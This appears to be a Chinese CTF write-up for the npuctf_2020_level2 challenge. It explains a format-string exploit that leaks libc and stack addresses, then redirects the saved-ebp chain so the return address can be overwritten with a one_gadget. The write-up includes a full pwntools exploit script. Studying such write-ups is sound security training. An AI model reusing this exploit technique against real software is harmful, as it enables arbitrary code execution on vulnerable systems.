1. 程式人生 > 實用技巧 >寒假訓練 npuctf_2020_level2(8/250)修改ebp鏈來間接修改返回地址

寒假訓練 npuctf_2020_level2(8/250)修改ebp鏈來間接修改返回地址

流程分析

很容易可以看出是格式化字串漏洞,不過利用方法是先簡介修改ebp鏈,在通過ebp鏈直接修改返回地址,第一次遇見這種方法 記錄一下

思路

  1. 由於我們的輸入在bss段上,並不會影響到stack上,經過觀察後,可以發現棧上有__libc_main可以洩露libc,還有一個ebp鏈,通過ebp鏈我們可以來修改返回地址
  2. 首先用格式化字串漏洞洩露stack的地址,並把ebp鏈指向stack裡的返回地址,再然後,此時的ebp鏈情況為ebp->old ebp->返回地址,此時我們再通過格式化字串漏洞對old ebp裡的值進行修改,便可以修改返回地址了
  3. 不過不知道為啥,明明字串都一樣,但我用send和sendline都打不通,到後面看了
    binLep師傅的部落格
    後換成sendlineafter後才打通的

exp

from pwn import *
#9  35
#p=process('./npuctf_2020_level2')
p=remote('node3.buuoj.cn',26286)
libc=ELF('../libc-2.27.so')
context.log_level='debug'
payload1='%7$p#%9$p@'
p.sendline(payload1)

p.recvuntil('0x')
libc_base=(int(p.recvuntil("#",True),16) - 231)-libc.symbols['
__libc_start_main'] p.recvuntil('0x') addr_stack=int(p.recvuntil("@",True),16)-0xe0 one_gadgets = [0x4f2c5,0x4f322,0x10a38c] one_gadget=one_gadgets[1]+libc_base stackbase = addr_stack & 0xffff p.sendlineafter('\n', '%' + str(stackbase) + 'c%9$hn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str(one_gadget&0xff)+'
c%35$hhn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str(stackbase+1)+'c%9$hhn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str((one_gadget>>8)&0xffff)+'c%35$hhn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str(stackbase+2)+'c%9$hhn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str((one_gadget>>16)&0xff)+'c%35$hhn\x00') #p.recv('\x20\x20\xb4') p.sendline('66666666\x00') #p.recv() print(hex(libc.symbols['__libc_start_main'])) #gdb.attach(p) p.interactive()